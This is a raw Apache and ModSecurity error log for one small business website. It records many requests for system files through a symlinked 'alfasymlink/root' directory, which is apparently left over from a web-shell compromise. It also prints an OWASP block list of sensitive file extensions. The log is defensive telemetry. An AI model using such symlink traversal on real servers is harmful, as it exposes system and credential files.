[Sun Oct 25 19:15:17.707267 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 52.207.47.227:42611] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:15:21.812906 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 109.167.12.208:49744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/red_zone
[Sun Oct 25 19:15:22.240668 2026] [ssl:error] [pid 2919296:tid 2919296] (5)Input/output error: [client 54.83.23.103:12111] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:15:38.643569 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 52.5.232.250:28070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:15:44.480818 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 173.70.7.185:52719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/align
[Sun Oct 25 19:15:47.838674 2026] [ssl:error] [pid 2919296:tid 2919296] (70014)End of file found: [client 44.221.105.234:12500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:15:50.271514 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 44.208.223.68:19186] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:15:54.542617 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 3.220.70.171:41623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:15:54.903765 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 37.228.236.97:9317] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/align
[Sun Oct 25 19:15:55.936747 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 85.208.96.207:37514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/cache_dma
[Sun Oct 25 19:16:00.006717 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 185.191.171.12:25522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/trace
[Sun Oct 25 19:16:02.214078 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 3.213.46.222:29851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:06.277082 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 23.21.148.226:51199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:10.187187 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 52.6.232.201:36162] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:18.495073 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 187.14.116.85:49640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cpu_partial
[Sun Oct 25 19:16:20.206394 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 188.123.162.3:32786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/ctor
[Sun Oct 25 19:16:22.302537 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 75.64.201.79:53383] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cpu_partial
[Sun Oct 25 19:16:23.026771 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 192.141.38.179:54255] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/ctor
[Sun Oct 25 19:16:23.558947 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 98.14.4.131:54062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cpu_partial
[Sun Oct 25 19:16:25.192651 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 200.2.163.244:48555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/ctor
[Sun Oct 25 19:16:26.194941 2026] [ssl:error] [pid 2919296:tid 2919296] (70014)End of file found: [client 50.16.72.185:45054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:30.209664 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 35.174.141.243:60341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:32.090564 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 97.130.149.197:57470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/remote_node_defrag_ratio
[Sun Oct 25 19:16:34.214782 2026] [ssl:error] [pid 2908851:tid 2908851] (70014)End of file found: [client 34.239.197.197:19556] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:34.291788 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 196.84.40.78:51035] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/remote_node_defrag_ratio
[Sun Oct 25 19:16:35.896296 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 172.119.169.168:42225] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/remote_node_defrag_ratio
[Sun Oct 25 19:16:36.131755 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 185.191.171.19:15382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/red_zone
[Sun Oct 25 19:16:42.236118 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 3.217.82.254:27565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:46.293157 2026] [ssl:error] [pid 2916957:tid 2916957] (70014)End of file found: [client 34.227.156.153:60497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:47.285297 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 73.71.94.47:56963] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/align
[Sun Oct 25 19:16:50.187781 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 184.73.167.217:4228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:50.223181 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 69.80.13.176:3207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/align
[Sun Oct 25 19:16:54.214245 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 85.208.96.205:13990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/quota_sz
[Sun Oct 25 19:16:54.779077 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 179.25.27.77:49400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/hwcache_align
[Sun Oct 25 19:16:56.787233 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 207.254.138.12:58643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/hwcache_align
[Sun Oct 25 19:16:58.319989 2026] [ssl:error] [pid 2919328:tid 2919328] (70014)End of file found: [client 52.204.71.8:4147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:16:59.093259 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 78.190.150.113:64644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/hwcache_align
[Sun Oct 25 19:17:02.328066 2026] [ssl:error] [pid 2908851:tid 2908851] (70014)End of file found: [client 44.218.6.93:38365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:17:04.965896 2026] [authz_core:error] [pid 2916957:tid 2916957] [client 159.254.254.5:62459] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 19:17:04.986547 2026] [security2:error] [pid 2916957:tid 2916957] [client 159.254.254.5:62459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6N8K1xY-OweN-aX1IYIAAAABo"]
[Sun Oct 25 19:17:04.986579 2026] [security2:error] [pid 2916957:tid 2916957] [client 159.254.254.5:62459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6N8K1xY-OweN-aX1IYIAAAABo"]
[Sun Oct 25 19:17:06.724705 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 73.220.45.222:40755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/object_size
[Sun Oct 25 19:17:12.919463 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 9.246.15.111:6525] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/object_size
[Sun Oct 25 19:17:15.879193 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 98.97.12.139:40736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/object_size
[Sun Oct 25 19:17:17.452326 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 105.69.252.154:44118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/red_zone
[Sun Oct 25 19:17:18.521881 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 184.72.84.154:56153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:17:20.114964 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 190.6.43.70:15970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/red_zone
[Sun Oct 25 19:17:22.285927 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 176.205.242.145:55822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/red_zone
[Sun Oct 25 19:17:23.190343 2026] [autoindex:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 216.244.66.250:46208] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/vfilters/
[Sun Oct 25 19:17:39.570229 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 185.191.171.17:55682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/min_partial
[Sun Oct 25 19:17:40.560756 2026] [security2:error] [pid 2916957:tid 2916957] [client 191.95.130.250:8688] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OFK1xY-OweN-aX1IYJAAAABo"]
[Sun Oct 25 19:17:40.561240 2026] [security2:error] [pid 2916957:tid 2916957] [client 191.95.130.250:8688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OFK1xY-OweN-aX1IYJAAAABo"]
[Sun Oct 25 19:17:40.561659 2026] [security2:error] [pid 2916957:tid 2916957] [client 191.95.130.250:8688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OFK1xY-OweN-aX1IYJAAAABo"]
[Sun Oct 25 19:17:42.506832 2026] [security2:error] [pid 2908851:tid 2908851] [client 72.59.201.164:58321] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OFgyydx1uvQyMj1diGQAAAAs"]
[Sun Oct 25 19:17:42.507312 2026] [security2:error] [pid 2908851:tid 2908851] [client 72.59.201.164:58321] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OFgyydx1uvQyMj1diGQAAAAs"]
[Sun Oct 25 19:17:42.507687 2026] [security2:error] [pid 2908851:tid 2908851] [client 72.59.201.164:58321] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OFgyydx1uvQyMj1diGQAAAAs"]
[Sun Oct 25 19:17:44.332466 2026] [security2:error] [pid 2918487:tid 2918487] [client 86.177.99.11:52560] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OGPePUttmj9eQxOMEFgAAAA0"]
[Sun Oct 25 19:17:44.333011 2026] [security2:error] [pid 2918487:tid 2918487] [client 86.177.99.11:52560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OGPePUttmj9eQxOMEFgAAAA0"]
[Sun Oct 25 19:17:44.333321 2026] [security2:error] [pid 2918487:tid 2918487] [client 86.177.99.11:52560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/accelerator-performance/tuned.conf"] [unique_id "at6OGPePUttmj9eQxOMEFgAAAA0"]
[Sun Oct 25 19:17:50.488305 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 18.207.89.138:4539] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:17:54.212187 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 54.92.171.106:42888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0501:01/subsystem/devices/PNP0A03:00/device:10/eject
[Sun Oct 25 19:18:02.405316 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 34.205.170.13:25135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:06/subsystem/devices/device:04/eject
[Sun Oct 25 19:18:03.780459 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 169.224.64.23:46570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objs_per_slab
[Sun Oct 25 19:18:05.498383 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 216.183.125.177:36352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objs_per_slab
[Sun Oct 25 19:18:06.368092 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 44.209.89.189:35535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:05/physical_node/resource4
[Sun Oct 25 19:18:07.237804 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 38.61.197.99:47302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objs_per_slab
[Sun Oct 25 19:18:15.005121 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 184.73.167.217:29104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:18:15.789514 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 77.119.193.43:15263] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/hwcache_align
[Sun Oct 25 19:18:17.678926 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 62.73.69.200:58476] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/hwcache_align
[Sun Oct 25 19:18:18.384354 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 54.235.158.162:56486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:18:19.419798 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 47.197.65.68:36807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/hwcache_align
[Sun Oct 25 19:18:22.227168 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 3.219.80.71:15444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:18:34.860252 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 86.142.174.105:35343] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/objs_per_slab
[Sun Oct 25 19:18:37.124664 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 190.143.240.231:18664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/objs_per_slab
[Sun Oct 25 19:18:42.230809 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 3.227.180.70:36896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:18:42.948187 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 181.197.41.216:7282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/slabs_cpu_partial
[Sun Oct 25 19:18:45.466132 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 172.59.169.233:32009] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/poison
[Sun Oct 25 19:18:45.745638 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 181.46.164.197:33236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/slabs_cpu_partial
[Sun Oct 25 19:18:46.439684 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 52.5.242.243:19515] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:18:47.847930 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 187.13.181.119:46780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/slabs_cpu_partial
[Sun Oct 25 19:18:48.538590 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 201.4.65.111:57284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/poison
[Sun Oct 25 19:18:57.411839 2026] [security2:error] [pid 2918227:tid 2918227] [client 107.172.76.131:49152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6OVbfKWbcDGLleCcVkVQAAAAc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:18:57.411932 2026] [security2:error] [pid 2918227:tid 2918227] [client 107.172.76.131:49152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6OVbfKWbcDGLleCcVkVQAAAAc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:18:59.282366 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 107.20.224.184:31904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:19:02.206668 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 3.210.114.189:2403] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:19:10.217467 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 100.28.57.133:29542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:19:22.254506 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 85.208.96.200:56808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/align
[Sun Oct 25 19:19:26.222644 2026] [ssl:error] [pid 2918487:tid 2918487] (5)Input/output error: [client 52.205.141.124:55632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:19:27.908773 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 85.208.96.207:31478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/poison
[Sun Oct 25 19:19:39.842811 2026] [core:crit] [pid 2908851:tid 2908851] (13)Permission denied: [client 142.181.38.61:55032] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chkservd/restart_track/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chkservd/restart_track/' is executable
[Sun Oct 25 19:19:48.191908 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 41.56.68.27:53337] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/alloc_calls
[Sun Oct 25 19:19:52.016968 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 45.160.78.224:39164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/alloc_calls
[Sun Oct 25 19:20:02.440213 2026] [ssl:error] [pid 2908851:tid 2908851] (5)Input/output error: [client 34.192.67.98:18168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:20:06.234205 2026] [ssl:error] [pid 2919328:tid 2919328] (70014)End of file found: [client 44.195.50.71:13802] AH02013: coalesce failed to read from data bucket
